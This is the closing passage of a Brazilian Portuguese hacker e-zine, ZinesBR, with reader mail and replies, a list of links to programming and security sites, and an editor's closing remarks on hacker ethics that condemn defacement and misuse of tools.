      From: nback
	Assunto: Compilador C for Windows
	Mensagem:

      Tipo,  um compilador legal, tipo gcc do linux vira kra
	http://www.bloodshed.net/devcpp.html
	tem mta gente q corre atrs do DEV C++ 4 


Respota:
--------

	valew inback! um colega meu tava querendo!!!

(kbytes)


--------------------------------------------------------------------------

E-mail (4)
----------

	From: Olaja
	Assunto: Uma porcao de coisa
	Mensagem: 
 
      Teste

Resposta:
---------

	tah testado..:)


(kbytes)

--------------------------------------------------------------------------

E-mail (5)
----------

	nome: ?
	assuto:
	mensagem: 

      Eu li a zine e tah massa continue galera.
	
Resposta:
---------
     
     valew!! nos continuaremos!:)

(Kbytes e Gotoxy)
--------------------------------------------------------------------------

E-mail (6)
----------

	nome: Ka0tic
	assunto: Zine
	mensagem: 

      Tah muito bom o zine d vcs. Parabens


Resposta:
---------

        thanks! 

(Kbytes e Gotoxy)
--------------------------------------------------------------------------

E-Mail (7)

       nome: J4n3
       assunto: zine pessima
       mensagem:

     hey amiguinho.. que coisa + lammz essa zine. c nao tem vergonha de 
     escrever porum troco dessa nao?

Resposta:
---------

     amiguinho? nao sou seu "amiguinho" :) 
     essa zine eh para fucadores newbies!! nao para hackers e elites
     como voce!! nao temos vergonha, "amiguinho", alias, voce que devia
     ter..falando asneiras aih!! tah com inveja mano? pq nao escreve 
     textos melhores entao, ao invez de ficar falando baboseiras??!!

     pow galera..facam criticas, mas criticas construtivas!!
 
(Gotoxy) 
--------------------------------------------------------------------------

Fim dos E-Mails!!!
    
     Mande tambem o seu email!!

Nos estamos aguardando..:)

                                                     ZiNESbr
                                                     zinesbr@ieg.com.br
.:x|-------------------------------------------------------------------|x:.










SETOR [19]
==[ Mais Links ]==
==[ por kbytes ]==


Abaixo tem uns links massas..


* Sites relacionados a programacao

    http://www.linuxassembly.org          
    http://www.feb.br/Micro1/index.htm 
    http://mahome.mingus.cjb.net/      
    http://www.threecool.hpg.com.br/   
    http://pano.virtualave.net

* Textos (hacking,seguranca), Zines...
 
    http://unsekurity.virtualave.net - unsekurity scene
    http://www.infojournal.cjb.net/ - zine de lnx
    http://struck.8m.com - cheat struck home page..
    http://www.antihack0s.cjb.net/ - textos, programas..
    http://code190.hpg.com.br/ - zine code190
    http://www.hackpalace.com/ - zines, muitos textos...
    http://packetstorm.securify.com - packetstorm
    http://www.phrack.com - phrack magazine
    http://www.jonathas.com.br/ - site do xf86onfig (dimitri)
    http://nibble.hobbiton.org/ - site do nibble
    http://htsr0x.virtualave.net/ - site do hts
    http://core.defusion.org/ - site do modulte
    http://www.txt.org - um tanto de textos
    http://marconunez.com/sites.html - marco nunez
    http://www.linuxsecurity.com.br - linux, seguranca,...
    http://onlooker.hpg.com.br      - textos,zines..
    http://www.digibel.org/~tompy/  - lamagra
    http://www.big.net.au/~silvio/ - um otimo site sobre hacking
    http://www.unsecurity.org/ - um site sobre seguranca, ...
    http://www.securityflaw.com/bible/ - muitos papers (hacking,..)

O gotoxy colocou outros links em seus textos (olhe em 'Referencias').


                                                   kbytes
                                                   kbytes@netfor.com.br
.:x|-------------------------------------------------------------------|x:.









SETOR [20]
==[ Last words - Eof ]==
==[ por Gotoxy       ]==

 esta edicao terminou .. mas logo logo tem mais! =) Estou fazendo os 
textos muitos rapidos.. e se tiver algum erro, ou algo parecido, por favor, 
me alertem q eu vou arrumar. 
 e eu preciso de mais editores..quando mais melhor! envie seus textos, para 
assim o conhecimento de todos nos, newbies, aumentarem!!:)
 
 bom.. nao quero terminar essa edicao falando apenas baboseiras nas minhas
'ultimas palavras'. queria falar um pouco mais sobre etica!
 nao chegamos em nenhum lugar sem ela: se vc esta aki, ela estah, se vc esta
ali, ela tb estarah, enfim, donde estiver, ela sempre estarah! eh dela mesmo 
q eu to falando.. sim!! da etica! 

 o hacking brasileiro nao anda nada bom: sao pessoas defaceando (pronuncia-se
"defecando" (segundo nosso amigo r0ot :p))pages,pessoas usando ferramentas de
terceiros para prejudicar pessoas que nao fazem parte do "jogo",entre varias
outras coisas, o quais nao fazem parte do verdadeiro hacking.

 zinesbr estah tentando passar a etica p/ os leitores!! nao apenas o zinesbr,
mas muitos fucadores estao nessa jornada, tentando fazer algumas milhares de
pessoas enchergarem o verdadeiro hacking.

 conheco algumas pessoas que tem um bom nivel de conhecimento, mas que nao
gostam de ensinar. eu concordo com isso e com eles, pois eles ensinam apenas
as pessoas que eles sabem q vao saber manipular a informacao obtida. 
 enfim, nao publique tipos de informacoes nem exploits para qualquer um,
pois a informacao deve ser passada soh para que conhece o hacking, enfim,
a etica do hacking.

mudando de assunto...

 ahh galera, facam o racionamento de energia!! fiquem menos tempo fucando
em seus computadores!:) 

Sem mais, sem menos e sem mais ou menos,

    Gotoxy. :p

Ateh a proxima.
________________________________________________________________________
------------------------------------ZiNESbr-----------------------------

                          Perguntas? Duvidas? Sugestoes?
                                zinesbr@ieg.com.br

                                   Home Page
                            http://zinesbr.hpg.com.br


                                6666666666666
          6666                66666666666666666            6666
        6666666              6666666666666666666          6666666
        666666666           666666666666666666666       666666666
             66666666       666666666666666666666    6666666
                666666      666     66666     666  66666
                    666666  66   6   666   6   66 666
                       6666 666     66666     666 6
                       6666 666     66666     666 6
                07        66 666666666 666666666 66        07
           -[ ZinesBR ]-        6666     6666         -[ ZinesBR ]-
                              66 66666666666 66
          66666         666666 66           66 666666         666
          666666    66666666   666         666   66666666    6666
           6666666666666        66666   66666        66666666666
             66666666            66666666666            6666666
            666666                 6666666                666666
             6666                                          6666

"Mais um, menos um, sempre um!"

caveira:~# halt
Power down.

